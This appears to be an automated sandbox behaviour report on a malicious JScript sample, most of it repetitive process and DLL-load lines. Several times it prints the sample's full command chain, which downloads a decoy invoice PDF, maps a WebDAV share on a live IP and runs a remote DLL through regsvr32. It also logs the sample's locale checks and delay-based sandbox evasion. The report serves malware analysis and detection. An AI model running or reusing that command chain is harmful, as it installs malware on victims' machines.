Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6079.js.csv");ITextStream.WriteLine(" entry:7910 f:hhojtvxmu");ITextStream.WriteLine(" exec:2 f:hhojtvxmu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 60864

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5748			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4092			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7104	Thread sleep count: 5748 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4032	Thread sleep count: 4092 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2544	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6636	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000003.2227389562.000001DF1722B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2230434816.000001DF1722B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2233065759.000001DF1722B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3457197010.0000022CE965A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3456050576.0000022CE402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
